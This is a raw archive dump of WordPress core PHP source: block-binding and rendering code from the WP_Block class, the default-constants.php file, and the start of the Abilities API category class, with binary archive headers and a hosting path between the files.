	 * ```json
	 * {
	 *   "metadata": {
	 *     "bindings": {
	 *       "title": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "text_custom_field" }
	 *       },
	 *       "url": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "url_custom_field" }
	 *       }
	 *     }
	 *   }
	 * }
	 * ```
	 *
	 * The above example will replace the `title` and `url` attributes of the Image
	 * block with the values of the `text_custom_field` and `url_custom_field` post meta.
	 *
	 * @since 6.5.0
	 * @since 6.6.0 Handle the `__default` attribute for pattern overrides.
	 * @since 6.7.0 Return any updated bindings metadata in the computed attributes.
	 *
	 * @return array The computed block attributes for the provided block bindings.
	 */
	private function process_block_bindings() {
		$block_type                 = $this->name;
		$parsed_block               = $this->parsed_block;
		$computed_attributes        = array();
		$supported_block_attributes = get_block_bindings_supported_attributes( $block_type );

		// If the block doesn't have the bindings property, isn't one of the supported
		// block types, or the bindings property is not an array, return the block content.
		if (
			empty( $supported_block_attributes ) ||
			empty( $parsed_block['attrs']['metadata']['bindings'] ) ||
			! is_array( $parsed_block['attrs']['metadata']['bindings'] )
		) {
			return $computed_attributes;
		}

		$bindings = $parsed_block['attrs']['metadata']['bindings'];

		/*
		 * If the default binding is set for pattern overrides, replace it
		 * with a pattern override binding for all supported attributes.
		 */
		if (
			isset( $bindings['__default']['source'] ) &&
			'core/pattern-overrides' === $bindings['__default']['source']
		) {
			$updated_bindings = array();

			/*
			 * Build a binding array of all supported attributes.
			 * Note that this also omits the `__default` attribute from the
			 * resulting array.
			 */
			foreach ( $supported_block_attributes as $attribute_name ) {
				// Retain any non-pattern override bindings that might be present.
				$updated_bindings[ $attribute_name ] = isset( $bindings[ $attribute_name ] )
					? $bindings[ $attribute_name ]
					: array( 'source' => 'core/pattern-overrides' );
			}
			$bindings = $updated_bindings;
			/*
			 * Update the bindings metadata of the computed attributes.
			 * This ensures the block receives the expanded __default binding metadata when it renders.
			 */
			$computed_attributes['metadata'] = array_merge(
				$parsed_block['attrs']['metadata'],
				array( 'bindings' => $bindings )
			);
		}

		foreach ( $bindings as $attribute_name => $block_binding ) {
			// If the attribute is not in the supported list, process next attribute.
			if ( ! in_array( $attribute_name, $supported_block_attributes, true ) ) {
				continue;
			}
			// If no source is provided, or that source is not registered, process next attribute.
			if ( ! isset( $block_binding['source'] ) || ! is_string( $block_binding['source'] ) ) {
				continue;
			}

			$block_binding_source = get_block_bindings_source( $block_binding['source'] );
			if ( null === $block_binding_source ) {
				continue;
			}

			// Adds the necessary context defined by the source.
			if ( ! empty( $block_binding_source->uses_context ) ) {
				foreach ( $block_binding_source->uses_context as $context_name ) {
					if ( array_key_exists( $context_name, $this->available_context ) ) {
						$this->context[ $context_name ] = $this->available_context[ $context_name ];
					}
				}
			}

			$source_args  = ! empty( $block_binding['args'] ) && is_array( $block_binding['args'] ) ? $block_binding['args'] : array();
			$source_value = $block_binding_source->get_value( $source_args, $this, $attribute_name );

			// If the value is not null, process the HTML based on the block and the attribute.
			if ( ! is_null( $source_value ) ) {
				$computed_attributes[ $attribute_name ] = $source_value;
			}
		}

		return $computed_attributes;
	}

	/**
	 * Depending on the block attribute name, replace its value in the HTML based on the value provided.
	 *
	 * @since 6.5.0
	 *
	 * @param string $block_content  Block content.
	 * @param string $attribute_name The attribute name to replace.
	 * @param mixed  $source_value   The value used to replace in the HTML.
	 * @return string The modified block content.
	 */
	private function replace_html( string $block_content, string $attribute_name, $source_value ) {
		$block_type = $this->block_type;
		if ( ! isset( $block_type->attributes[ $attribute_name ]['source'] ) ) {
			return $block_content;
		}

		// Depending on the attribute source, the processing will be different.
		switch ( $block_type->attributes[ $attribute_name ]['source'] ) {
			case 'html':
			case 'rich-text':
				$block_reader = self::get_block_bindings_processor( $block_content );

				// TODO: Support for CSS selectors whenever they are ready in the HTML API.
				// In the meantime, support comma-separated selectors by exploding them into an array.
				$selectors = explode( ',', $block_type->attributes[ $attribute_name ]['selector'] );
				// Add a bookmark to the first tag to be able to iterate over the selectors.
				$block_reader->next_tag();
				$block_reader->set_bookmark( 'iterate-selectors' );

				foreach ( $selectors as $selector ) {
					// If the parent tag, or any of its children, matches the selector, replace the HTML.
					if ( strcasecmp( $block_reader->get_tag(), $selector ) === 0 || $block_reader->next_tag(
						array(
							'tag_name' => $selector,
						)
					) ) {
						// TODO: Use `WP_HTML_Processor::set_inner_html` method once it's available.
						$block_reader->release_bookmark( 'iterate-selectors' );
						$block_reader->replace_rich_text( wp_kses_post( $source_value ) );
						return $block_reader->get_updated_html();
					} else {
						$block_reader->seek( 'iterate-selectors' );
					}
				}
				$block_reader->release_bookmark( 'iterate-selectors' );
				return $block_content;

			case 'attribute':
				$amended_content = new WP_HTML_Tag_Processor( $block_content );
				if ( ! $amended_content->next_tag(
					array(
						// TODO: build the query from CSS selector.
						'tag_name' => $block_type->attributes[ $attribute_name ]['selector'],
					)
				) ) {
					return $block_content;
				}
				$amended_content->set_attribute( $block_type->attributes[ $attribute_name ]['attribute'], $source_value );
				return $amended_content->get_updated_html();

			default:
				return $block_content;
		}
	}

	private static function get_block_bindings_processor( string $block_content ) {
		$internal_processor_class = new class('', WP_HTML_Processor::CONSTRUCTOR_UNLOCK_CODE) extends WP_HTML_Processor {
			/**
			 * Replace the rich text content between a tag opener and matching closer.
			 *
			 * When stopped on a tag opener, replace the content enclosed by it and its
			 * matching closer with the provided rich text.
			 *
			 * @param string $rich_text The rich text to replace the original content with.
			 * @return bool True on success.
			 */
			public function replace_rich_text( $rich_text ) {
				if ( $this->is_tag_closer() || ! $this->expects_closer() ) {
					return false;
				}

				$depth    = $this->get_current_depth();
				$tag_name = $this->get_tag();

				$this->set_bookmark( '_wp_block_bindings' );
				// The bookmark names are prefixed with `_` so the key below has an extra `_`.
				$tag_opener = $this->bookmarks['__wp_block_bindings'];
				$start      = $tag_opener->start + $tag_opener->length;

				// Find matching tag closer.
				while ( $this->next_token() && $this->get_current_depth() >= $depth ) {
				}

				if ( ! $this->is_tag_closer() || $tag_name !== $this->get_tag() ) {
					return false;
				}

				$this->set_bookmark( '_wp_block_bindings' );
				$tag_closer = $this->bookmarks['__wp_block_bindings'];
				$end        = $tag_closer->start;

				$this->lexical_updates[] = new WP_HTML_Text_Replacement(
					$start,
					$end - $start,
					$rich_text
				);

				return true;
			}
		};

		return $internal_processor_class::create_fragment( $block_content );
	}

	/**
	 * Generates the render output for the block.
	 *
	 * @since 5.5.0
	 * @since 6.5.0 Added block bindings processing.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $options {
	 *     Optional options object.
	 *
	 *     @type bool $dynamic Defaults to 'true'. Optionally set to false to avoid using the block's render_callback.
	 * }
	 * @return string Rendered block output.
	 */
	public function render( $options = array() ) {
		global $post;

		$before_wp_enqueue_scripts_count = did_action( 'wp_enqueue_scripts' );

		// Capture the current assets queues.
		$before_styles_queue         = wp_styles()->queue;
		$before_scripts_queue        = wp_scripts()->queue;
		$before_script_modules_queue = wp_script_modules()->get_queue();

		/*
		 * There can be only one root interactive block at a time because the rendered HTML of that block contains
		 * the rendered HTML of all its inner blocks, including any interactive block.
		 */
		static $root_interactive_block = null;
		/**
		 * Filters whether Interactivity API should process directives.
		 *
		 * @since 6.6.0
		 *
		 * @param bool $enabled Whether the directives processing is enabled.
		 */
		$interactivity_process_directives_enabled = apply_filters( 'interactivity_process_directives', true );
		if (
			$interactivity_process_directives_enabled && null === $root_interactive_block && (
				( isset( $this->block_type->supports['interactivity'] ) && true === $this->block_type->supports['interactivity'] ) ||
				! empty( $this->block_type->supports['interactivity']['interactive'] )
			)
		) {
			$root_interactive_block = $this;
		}

		$options = wp_parse_args(
			$options,
			array(
				'dynamic' => true,
			)
		);

		// Process the block bindings and get attributes updated with the values from the sources.
		$computed_attributes = $this->process_block_bindings();
		if ( ! empty( $computed_attributes ) ) {
			// Merge the computed attributes with the original attributes.
			$this->attributes = array_merge( $this->attributes, $computed_attributes );
		}

		$is_dynamic    = $options['dynamic'] && $this->name && null !== $this->block_type && $this->block_type->is_dynamic();
		$block_content = '';

		if ( ! $options['dynamic'] || empty( $this->block_type->skip_inner_blocks ) ) {
			$index = 0;

			foreach ( $this->inner_content as $chunk ) {
				if ( is_string( $chunk ) ) {
					$block_content .= $chunk;
				} else {
					$inner_block  = $this->inner_blocks[ $index ];
					$parent_block = $this;

					/** This filter is documented in wp-includes/blocks.php */
					$pre_render = apply_filters( 'pre_render_block', null, $inner_block->parsed_block, $parent_block );

					if ( ! is_null( $pre_render ) ) {
						$block_content .= $pre_render;
					} else {
						$source_block        = $inner_block->parsed_block;
						$inner_block_context = $inner_block->context;

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->parsed_block = apply_filters( 'render_block_data', $inner_block->parsed_block, $source_block, $parent_block );

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->context = apply_filters( 'render_block_context', $inner_block->context, $inner_block->parsed_block, $parent_block );

						/*
						 * The `refresh_context_dependents()` method already calls `refresh_parsed_block_dependents()`.
						 * Therefore the second condition is irrelevant if the first one is satisfied.
						 */
						if ( $inner_block->context !== $inner_block_context ) {
							$inner_block->refresh_context_dependents();
						} elseif ( $inner_block->parsed_block !== $source_block ) {
							$inner_block->refresh_parsed_block_dependents();
						}

						$block_content .= $inner_block->render();
					}

					++$index;
				}
			}
		}

		if ( ! empty( $computed_attributes ) && ! empty( $block_content ) ) {
			foreach ( $computed_attributes as $attribute_name => $source_value ) {
				$block_content = $this->replace_html( $block_content, $attribute_name, $source_value );
			}
		}

		if ( $is_dynamic ) {
			$global_post = $post;
			$parent      = WP_Block_Supports::$block_to_render;

			WP_Block_Supports::$block_to_render = $this->parsed_block;

			$block_content = (string) call_user_func( $this->block_type->render_callback, $this->attributes, $block_content, $this );

			WP_Block_Supports::$block_to_render = $parent;

			$post = $global_post;
		}

		if ( ( ! empty( $this->block_type->script_handles ) ) ) {
			foreach ( $this->block_type->script_handles as $script_handle ) {
				wp_enqueue_script( $script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_handles ) ) {
			foreach ( $this->block_type->view_script_handles as $view_script_handle ) {
				wp_enqueue_script( $view_script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_module_ids ) ) {
			foreach ( $this->block_type->view_script_module_ids as $view_script_module_id ) {
				wp_enqueue_script_module( $view_script_module_id );
			}
		}

		/*
		 * For Core blocks, these styles are only enqueued if `wp_should_load_separate_core_block_assets()` returns
		 * true. Otherwise these `wp_enqueue_style()` calls will not have any effect, as the Core blocks are relying on
		 * the combined 'wp-block-library' stylesheet instead, which is unconditionally enqueued.
		 */
		if ( ( ! empty( $this->block_type->style_handles ) ) ) {
			foreach ( $this->block_type->style_handles as $style_handle ) {
				wp_enqueue_style( $style_handle );
			}
		}

		if ( ( ! empty( $this->block_type->view_style_handles ) ) ) {
			foreach ( $this->block_type->view_style_handles as $view_style_handle ) {
				wp_enqueue_style( $view_style_handle );
			}
		}

		/**
		 * Filters the content of a single block.
		 *
		 * @since 5.0.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( 'render_block', $block_content, $this->parsed_block, $this );

		/**
		 * Filters the content of a single block.
		 *
		 * The dynamic portion of the hook name, `$name`, refers to
		 * the block name, e.g. "core/paragraph".
		 *
		 * @since 5.7.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( "render_block_{$this->name}", $block_content, $this->parsed_block, $this );

		if ( $root_interactive_block === $this ) {
			// The root interactive block has finished rendering. Time to process directives.
			$block_content          = wp_interactivity_process_directives( $block_content );
			$root_interactive_block = null;
		}

		// Capture the new assets enqueued during rendering, and restore the queues the state prior to rendering.
		$after_styles_queue         = wp_styles()->queue;
		$after_scripts_queue        = wp_scripts()->queue;
		$after_script_modules_queue = wp_script_modules()->get_queue();

		/*
		 * As a very special case, a dynamic block may in fact include a call to wp_head() (and thus wp_enqueue_scripts()),
		 * in which all of its enqueued assets are targeting wp_footer. In this case, nothing would be printed, but this
		 * shouldn't indicate that the just-enqueued assets should be dequeued due to it being an empty block.
		 */
		$just_did_wp_enqueue_scripts = ( did_action( 'wp_enqueue_scripts' ) !== $before_wp_enqueue_scripts_count );

		$has_new_styles         = ( $before_styles_queue !== $after_styles_queue );
		$has_new_scripts        = ( $before_scripts_queue !== $after_scripts_queue );
		$has_new_script_modules = ( $before_script_modules_queue !== $after_script_modules_queue );

		// Dequeue the newly enqueued assets with the existing assets if the rendered block was empty & wp_enqueue_scripts did not fire.
		if (
			! $just_did_wp_enqueue_scripts &&
			( $has_new_styles || $has_new_scripts || $has_new_script_modules ) &&
			(
				trim( $block_content ) === '' &&
				/**
				 * Filters whether to enqueue assets for a block which has no rendered content.
				 *
				 * @since 6.9.0
				 *
				 * @param bool   $enqueue    Whether to enqueue assets.
				 * @param string $block_name Block name.
				 */
				! (bool) apply_filters( 'enqueue_empty_block_content_assets', false, $this->name )
			)
		) {
			foreach ( array_diff( $after_styles_queue, $before_styles_queue ) as $handle ) {
				wp_dequeue_style( $handle );
			}
			foreach ( array_diff( $after_scripts_queue, $before_scripts_queue ) as $handle ) {
				wp_dequeue_script( $handle );
			}
			foreach ( array_diff( $after_script_modules_queue, $before_script_modules_queue ) as $handle ) {
				wp_dequeue_script_module( $handle );
			}
		}

		return $block_content;
	}
}
PKYO\�)~�4410/default-constants.php.tarnu�[���home/homerdlh/public_html/wp-includes/default-constants.php000064400000026145151442400370020211 0ustar00<?php
/**
 * Defines constants and global variables that can be overridden, generally in wp-config.php.
 *
 * @package WordPress
 */

/**
 * Defines initial WordPress constants.
 *
 * @see wp_debug_mode()
 *
 * @since 3.0.0
 *
 * @global int    $blog_id    The current site ID.
 * @global string $wp_version The WordPress version string.
 */
function wp_initial_constants() {
	global $blog_id, $wp_version;

	/**#@+
	 * Constants for expressing human-readable data sizes in their respective number of bytes.
	 *
	 * @since 4.4.0
	 * @since 6.0.0 `PB_IN_BYTES`, `EB_IN_BYTES`, `ZB_IN_BYTES`, and `YB_IN_BYTES` were added.
	 */
	define( 'KB_IN_BYTES', 1024 );
	define( 'MB_IN_BYTES', 1024 * KB_IN_BYTES );
	define( 'GB_IN_BYTES', 1024 * MB_IN_BYTES );
	define( 'TB_IN_BYTES', 1024 * GB_IN_BYTES );
	define( 'PB_IN_BYTES', 1024 * TB_IN_BYTES );
	define( 'EB_IN_BYTES', 1024 * PB_IN_BYTES );
	define( 'ZB_IN_BYTES', 1024 * EB_IN_BYTES );
	define( 'YB_IN_BYTES', 1024 * ZB_IN_BYTES );
	/**#@-*/

	// Start of run timestamp.
	if ( ! defined( 'WP_START_TIMESTAMP' ) ) {
		define( 'WP_START_TIMESTAMP', microtime( true ) );
	}

	$current_limit     = ini_get( 'memory_limit' );
	$current_limit_int = wp_convert_hr_to_bytes( $current_limit );

	// Define memory limits.
	if ( ! defined( 'WP_MEMORY_LIMIT' ) ) {
		if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
			define( 'WP_MEMORY_LIMIT', $current_limit );
		} elseif ( is_multisite() ) {
			define( 'WP_MEMORY_LIMIT', '64M' );
		} else {
			define( 'WP_MEMORY_LIMIT', '40M' );
		}
	}

	if ( ! defined( 'WP_MAX_MEMORY_LIMIT' ) ) {
		if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
			define( 'WP_MAX_MEMORY_LIMIT', $current_limit );
		} elseif ( -1 === $current_limit_int || $current_limit_int > 256 * MB_IN_BYTES ) {
			define( 'WP_MAX_MEMORY_LIMIT', $current_limit );
		} elseif ( wp_convert_hr_to_bytes( WP_MEMORY_LIMIT ) > 256 * MB_IN_BYTES ) {
			define( 'WP_MAX_MEMORY_LIMIT', WP_MEMORY_LIMIT );
		} else {
			define( 'WP_MAX_MEMORY_LIMIT', '256M' );
		}
	}

	// Set memory limits.
	$wp_limit_int = wp_convert_hr_to_bytes( WP_MEMORY_LIMIT );
	if ( -1 !== $current_limit_int && ( -1 === $wp_limit_int || $wp_limit_int > $current_limit_int ) ) {
		ini_set( 'memory_limit', WP_MEMORY_LIMIT );
	}

	if ( ! isset( $blog_id ) ) {
		$blog_id = 1;
	}

	if ( ! defined( 'WP_CONTENT_DIR' ) ) {
		define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // No trailing slash, full paths only - WP_CONTENT_URL is defined further down.
	}

	/*
	 * Add define( 'WP_DEVELOPMENT_MODE', 'core' ), or define( 'WP_DEVELOPMENT_MODE', 'plugin' ), or
	 * define( 'WP_DEVELOPMENT_MODE', 'theme' ), or define( 'WP_DEVELOPMENT_MODE', 'all' ) to wp-config.php
	 * to signify development mode for WordPress core, a plugin, a theme, or all three types respectively.
	 */
	if ( ! defined( 'WP_DEVELOPMENT_MODE' ) ) {
		define( 'WP_DEVELOPMENT_MODE', '' );
	}

	// Add define( 'WP_DEBUG', true ); to wp-config.php to enable display of notices during development.
	if ( ! defined( 'WP_DEBUG' ) ) {
		if ( wp_get_development_mode() || 'development' === wp_get_environment_type() ) {
			define( 'WP_DEBUG', true );
		} else {
			define( 'WP_DEBUG', false );
		}
	}

	/*
	 * Add define( 'WP_DEBUG_DISPLAY', null ); to wp-config.php to use the globally configured setting
	 * for 'display_errors' and not force errors to be displayed. Use false to force 'display_errors' off.
	 */
	if ( ! defined( 'WP_DEBUG_DISPLAY' ) ) {
		define( 'WP_DEBUG_DISPLAY', true );
	}

	// Add define( 'WP_DEBUG_LOG', true ); to enable error logging to wp-content/debug.log.
	if ( ! defined( 'WP_DEBUG_LOG' ) ) {
		define( 'WP_DEBUG_LOG', false );
	}

	if ( ! defined( 'WP_CACHE' ) ) {
		define( 'WP_CACHE', false );
	}

	/*
	 * Add define( 'SCRIPT_DEBUG', true ); to wp-config.php to enable loading of non-minified,
	 * non-concatenated scripts and stylesheets.
	 */
	if ( ! defined( 'SCRIPT_DEBUG' ) ) {
		if ( ! empty( $wp_version ) ) {
			$develop_src = str_contains( $wp_version, '-src' );
		} else {
			$develop_src = false;
		}

		define( 'SCRIPT_DEBUG', $develop_src );
	}

	/**
	 * Private
	 */
	if ( ! defined( 'MEDIA_TRASH' ) ) {
		define( 'MEDIA_TRASH', false );
	}

	if ( ! defined( 'SHORTINIT' ) ) {
		define( 'SHORTINIT', false );
	}

	// Constants for features added to WP that should short-circuit their plugin implementations.
	define( 'WP_FEATURE_BETTER_PASSWORDS', true );

	/**#@+
	 * Constants for expressing human-readable intervals
	 * in their respective number of seconds.
	 *
	 * Please note that these values are approximate and are provided for convenience.
	 * For example, MONTH_IN_SECONDS wrongly assumes every month has 30 days and
	 * YEAR_IN_SECONDS does not take leap years into account.
	 *
	 * If you need more accuracy please consider using the DateTime class (https://www.php.net/manual/en/class.datetime.php).
	 *
	 * @since 3.5.0
	 * @since 4.4.0 Introduced `MONTH_IN_SECONDS`.
	 */
	define( 'MINUTE_IN_SECONDS', 60 );
	define( 'HOUR_IN_SECONDS', 60 * MINUTE_IN_SECONDS );
	define( 'DAY_IN_SECONDS', 24 * HOUR_IN_SECONDS );
	define( 'WEEK_IN_SECONDS', 7 * DAY_IN_SECONDS );
	define( 'MONTH_IN_SECONDS', 30 * DAY_IN_SECONDS );
	define( 'YEAR_IN_SECONDS', 365 * DAY_IN_SECONDS );
	/**#@-*/
}

/**
 * Defines plugin directory WordPress constants.
 *
 * Defines must-use plugin directory constants, which may be overridden in the sunrise.php drop-in.
 *
 * @since 3.0.0
 */
function wp_plugin_directory_constants() {
	if ( ! defined( 'WP_CONTENT_URL' ) ) {
		define( 'WP_CONTENT_URL', get_option( 'siteurl' ) . '/wp-content' ); // Full URL - WP_CONTENT_DIR is defined further up.
	}

	/**
	 * Allows for the plugins directory to be moved from the default location.
	 *
	 * @since 2.6.0
	 */
	if ( ! defined( 'WP_PLUGIN_DIR' ) ) {
		define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); // Full path, no trailing slash.
	}

	/**
	 * Allows for the plugins directory to be moved from the default location.
	 *
	 * @since 2.6.0
	 */
	if ( ! defined( 'WP_PLUGIN_URL' ) ) {
		define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); // Full URL, no trailing slash.
	}

	/**
	 * Allows for the plugins directory to be moved from the default location.
	 *
	 * @since 2.1.0
	 * @deprecated
	 */
	if ( ! defined( 'PLUGINDIR' ) ) {
		define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH. For back compat.
	}

	/**
	 * Allows for the mu-plugins directory to be moved from the default location.
	 *
	 * @since 2.8.0
	 */
	if ( ! defined( 'WPMU_PLUGIN_DIR' ) ) {
		define( 'WPMU_PLUGIN_DIR', WP_CONTENT_DIR . '/mu-plugins' ); // Full path, no trailing slash.
	}

	/**
	 * Allows for the mu-plugins directory to be moved from the default location.
	 *
	 * @since 2.8.0
	 */
	if ( ! defined( 'WPMU_PLUGIN_URL' ) ) {
		define( 'WPMU_PLUGIN_URL', WP_CONTENT_URL . '/mu-plugins' ); // Full URL, no trailing slash.
	}

	/**
	 * Allows for the mu-plugins directory to be moved from the default location.
	 *
	 * @since 2.8.0
	 * @deprecated
	 */
	if ( ! defined( 'MUPLUGINDIR' ) ) {
		define( 'MUPLUGINDIR', 'wp-content/mu-plugins' ); // Relative to ABSPATH. For back compat.
	}
}

/**
 * Defines cookie-related WordPress constants.
 *
 * Defines constants after multisite is loaded.
 *
 * @since 3.0.0
 */
function wp_cookie_constants() {
	/**
	 * Used to guarantee unique hash cookies.
	 *
	 * @since 1.5.0
	 */
	if ( ! defined( 'COOKIEHASH' ) ) {
		$siteurl = get_site_option( 'siteurl' );
		if ( $siteurl ) {
			define( 'COOKIEHASH', md5( $siteurl ) );
		} else {
			define( 'COOKIEHASH', '' );
		}
	}

	/**
	 * @since 2.0.0
	 */
	if ( ! defined( 'USER_COOKIE' ) ) {
		define( 'USER_COOKIE', 'wordpressuser_' . COOKIEHASH );
	}

	/**
	 * @since 2.0.0
	 */
	if ( ! defined( 'PASS_COOKIE' ) ) {
		define( 'PASS_COOKIE', 'wordpresspass_' . COOKIEHASH );
	}

	/**
	 * @since 2.5.0
	 */
	if ( ! defined( 'AUTH_COOKIE' ) ) {
		define( 'AUTH_COOKIE', 'wordpress_' . COOKIEHASH );
	}

	/**
	 * @since 2.6.0
	 */
	if ( ! defined( 'SECURE_AUTH_COOKIE' ) ) {
		define( 'SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH );
	}

	/**
	 * @since 2.6.0
	 */
	if ( ! defined( 'LOGGED_IN_COOKIE' ) ) {
		define( 'LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH );
	}

	/**
	 * @since 2.3.0
	 */
	if ( ! defined( 'TEST_COOKIE' ) ) {
		define( 'TEST_COOKIE', 'wordpress_test_cookie' );
	}

	/**
	 * @since 1.2.0
	 */
	if ( ! defined( 'COOKIEPATH' ) ) {
		define( 'COOKIEPATH', preg_replace( '|https?://[^/]+|i', '', get_option( 'home' ) . '/' ) );
	}

	/**
	 * @since 1.5.0
	 */
	if ( ! defined( 'SITECOOKIEPATH' ) ) {
		define( 'SITECOOKIEPATH', preg_replace( '|https?://[^/]+|i', '', get_option( 'siteurl' ) . '/' ) );
	}

	/**
	 * @since 2.6.0
	 */
	if ( ! defined( 'ADMIN_COOKIE_PATH' ) ) {
		define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );
	}

	/**
	 * @since 2.6.0
	 */
	if ( ! defined( 'PLUGINS_COOKIE_PATH' ) ) {
		define( 'PLUGINS_COOKIE_PATH', preg_replace( '|https?://[^/]+|i', '', WP_PLUGIN_URL ) );
	}

	/**
	 * @since 2.0.0
	 * @since 6.6.0 The value has changed from false to an empty string.
	 */
	if ( ! defined( 'COOKIE_DOMAIN' ) ) {
		define( 'COOKIE_DOMAIN', '' );
	}

	if ( ! defined( 'RECOVERY_MODE_COOKIE' ) ) {
		/**
		 * @since 5.2.0
		 */
		define( 'RECOVERY_MODE_COOKIE', 'wordpress_rec_' . COOKIEHASH );
	}
}

/**
 * Defines SSL-related WordPress constants.
 *
 * @since 3.0.0
 */
function wp_ssl_constants() {
	/**
	 * @since 2.6.0
	 */
	if ( ! defined( 'FORCE_SSL_ADMIN' ) ) {
		if ( 'https' === parse_url( get_option( 'siteurl' ), PHP_URL_SCHEME ) ) {
			define( 'FORCE_SSL_ADMIN', true );
		} else {
			define( 'FORCE_SSL_ADMIN', false );
		}
	}
	force_ssl_admin( FORCE_SSL_ADMIN );

	/**
	 * @since 2.6.0
	 * @deprecated 4.0.0
	 */
	if ( defined( 'FORCE_SSL_LOGIN' ) && FORCE_SSL_LOGIN ) {
		force_ssl_admin( true );
	}
}

/**
 * Defines functionality-related WordPress constants.
 *
 * @since 3.0.0
 */
function wp_functionality_constants() {
	/**
	 * @since 2.5.0
	 */
	if ( ! defined( 'AUTOSAVE_INTERVAL' ) ) {
		define( 'AUTOSAVE_INTERVAL', MINUTE_IN_SECONDS );
	}

	/**
	 * @since 2.9.0
	 */
	if ( ! defined( 'EMPTY_TRASH_DAYS' ) ) {
		define( 'EMPTY_TRASH_DAYS', 30 );
	}

	if ( ! defined( 'WP_POST_REVISIONS' ) ) {
		define( 'WP_POST_REVISIONS', true );
	}

	/**
	 * @since 3.3.0
	 */
	if ( ! defined( 'WP_CRON_LOCK_TIMEOUT' ) ) {
		define( 'WP_CRON_LOCK_TIMEOUT', MINUTE_IN_SECONDS );
	}
}

/**
 * Defines templating-related WordPress constants.
 *
 * @since 3.0.0
 */
function wp_templating_constants() {
	/**
	 * Filesystem path to the current active template directory.
	 *
	 * @since 1.5.0
	 * @deprecated 6.4.0 Use get_template_directory() instead.
	 * @see get_template_directory()
	 */
	define( 'TEMPLATEPATH', get_template_directory() );

	/**
	 * Filesystem path to the current active template stylesheet directory.
	 *
	 * @since 2.1.0
	 * @deprecated 6.4.0 Use get_stylesheet_directory() instead.
	 * @see get_stylesheet_directory()
	 */
	define( 'STYLESHEETPATH', get_stylesheet_directory() );

	/**
	 * Slug of the default theme for this installation.
	 * Used as the default theme when installing new sites.
	 * It will be used as the fallback if the active theme doesn't exist.
	 *
	 * @since 3.0.0
	 *
	 * @see WP_Theme::get_core_default_theme()
	 */
	if ( ! defined( 'WP_DEFAULT_THEME' ) ) {
		define( 'WP_DEFAULT_THEME', 'twentytwentyfive' );
	}
}
PKYO\@����10/abilities-api.tarnu�[���class-wp-ability-category.php000064400000013414151442376660012275 0ustar00<?php
/**
 * Abilities API
 *
 * Defines WP_Ability_Category class.
 *
 * @package WordPress
 * @subpackage Abilities API
 * @since 6.9.0
 */

declare( strict_types = 1 );

/**
 * Encapsulates the properties and methods related to a specific ability category.
 *
 * @since 6.9.0
 *
 * @see WP_Ability_Categories_Registry
 */
final class WP_Ability_Category {

	/**
	 * The unique slug for the ability category.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $slug;

	/**
	 * The human-readable ability category label.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $label;

	/**
	 * The detailed ability category description.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $description;

	/**
	 * The optional ability category metadata.
	 *
	 * @since 6.9.0
	 * @var array<string, mixed>
	 */
	protected $meta = array();

	/**
	 * Constructor.
	 *
	 * Do not use this constructor directly. Instead, use the `wp_register_ability_category()` function.
	 *
	 * @access private
	 *
	 * @since 6.9.0
	 *
	 * @see wp_register_ability_category()
	 *
	 * @param string               $slug The unique slug for the ability category.
	 * @param array<string, mixed> $args {
	 *     An associative array of arguments for the ability category.
	 *
	 *     @type string               $label       The human-readable label for the ability category.
	 *     @type string               $description A description of the ability category.
	 *     @type array<string, mixed> $meta        Optional. Additional metadata for the ability category.
	 * }
	 */
	public function __construct( string $slug, array $args ) {
		if ( empty( $slug ) ) {
			throw new InvalidArgumentException(
				__( 'The ability category slug cannot be empty.' )
			);
		}

		$this->slug = $slug;

		$properties = $this->prepare_properties( $args );

		foreach ( $properties as $property_name => $property_value ) {
			if ( ! property_exists( $this, $property_name ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %s: Property name. */
						__( 'Property "%1$s" is not a valid property for ability category "%2$s". Please check the %3$s class for allowed properties.' ),
						'<code>' . esc_html( $property_name ) . '</code>',
						'<code>' . esc_html( $this->slug ) . '</code>',
						'<code>' . __CLASS__ . '</code>'
					),
					'6.9.0'
				);
				continue;
			}

			$this->$property_name = $property_value;
		}
	}

	/**
	 * Prepares and validates the properties used to instantiate the ability category.
	 *
	 * @since 6.9.0
	 *
	 * @param array<string, mixed> $args $args {
	 *     An associative array of arguments used to instantiate the ability category class.
	 *
	 *     @type string               $label       The human-readable label for the ability category.
	 *     @type string               $description A description of the ability category.
	 *     @type array<string, mixed> $meta        Optional. Additional metadata for the ability category.
	 * }
	 * @return array<string, mixed> $args {
	 *     An associative array with validated and prepared ability category properties.
	 *
	 *     @type string               $label       The human-readable label for the ability category.
	 *     @type string               $description A description of the ability category.
	 *     @type array<string, mixed> $meta        Optional. Additional metadata for the ability category.
	 * }
	 * @throws InvalidArgumentException if an argument is invalid.
	 */
	protected function prepare_properties( array $args ): array {
		// Required args must be present and of the correct type.
		if ( empty( $args['label'] ) || ! is_string( $args['label'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability category properties must contain a `label` string.' )
			);
		}

		if ( empty( $args['description'] ) || ! is_string( $args['description'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability category properties must contain a `description` string.' )
			);
		}

